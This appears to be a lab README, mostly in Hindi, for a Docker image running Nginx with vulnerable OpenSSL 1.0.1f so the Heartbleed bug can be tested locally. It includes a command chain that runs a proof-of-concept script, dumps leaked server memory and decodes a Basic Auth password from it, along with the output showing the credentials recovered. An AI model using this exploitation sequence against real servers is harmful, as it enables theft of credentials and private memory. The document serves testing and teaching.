
Dockerfile for testing CVE-2014-0160 Heartbleed exploitation.
इस रिपॉजिटरी में CVE-2014-0160 Heartbleed भेद्यता के परीक्षण के लिए असुरक्षित OpenSSL संस्करण (1.0.1f) के साथ Nginx का Dockerfile शामिल है।
Docker स्थापित करें
apt-get install -y dockerसार्वजनिक Docker Hub Registry से डेबियन बेस इमेज डाउनलोड करें:
docker pull debian:latest
Dockerfile से इमेज बनाएं: docker build -t heartbleed_nginx_img .
docker run -i -t -p 1500:443 heartbleed_nginx_img
Heartbleed-poc Python स्क्रिप्ट डाउनलोड करें (केवल परीक्षण उद्देश्यों के लिए!)। यह मूलतः Jared Stafford [email protected] द्वारा लिखित एक संशोधित संस्करण है। SensePost को इसके लिए धन्यवाद।
अपने वर्तमान टर्मिनल पर दो नए टैब खोलें और चलाएँ:
पहला टैब (curl कमांड के साथ HTTP बेसिक Auth का उपयोग करके x100 GET अनुरोध उत्पन्न करना):
for loop in {0..100..1}; do curl -X GET -s -i -k -u admin:myP@ssword0MG https://127.0.0.1:1500| grep -E "200"; done
HTTP/1.1 200 OK HTTP/1.1 200 OK HTTP/1.1 200 OK HTTP/1.1 200 OK snipp...
दूसरा टैब (x100 Heartbeats(-n 100) अनुरोध उत्पन्न करना और मेमोरी डंप को "dump.bin" फ़ाइल में लिखना, फिर मेमोरी डंप से "Authorization" फ़ील्ड से परिणाम लेना और अंत में Base64 परिणाम स्ट्रिंग को स्पष्ट पाठ में डिकोड करना ^^):
python heartbleed-poc.py -f dump.bin -q -n 100 -p 1500 127.0.0.1 && grep -a "^Authorization:" dump.bin | head -n1 | awk -F " " '{print $3}' | tr -d '\n\r' | base64 --decode && echo
WARNING: server 127.0.0.1 returned more data than it should - server is vulnerable! ... received message: type = 22, ver = 0302, length = 66 ... received message: type = 22, ver = 0302, length = 925 ... received message: type = 22, ver = 0302, length = 331 ... received message: type = 22, ver = 0302, length = 4 ... received message: type = 24, ver = 0302, length = 16384 WARNING: server 127.0.0.1 returned more data than it should - server is vulnerable! snipp... admin:myP@ssword0MG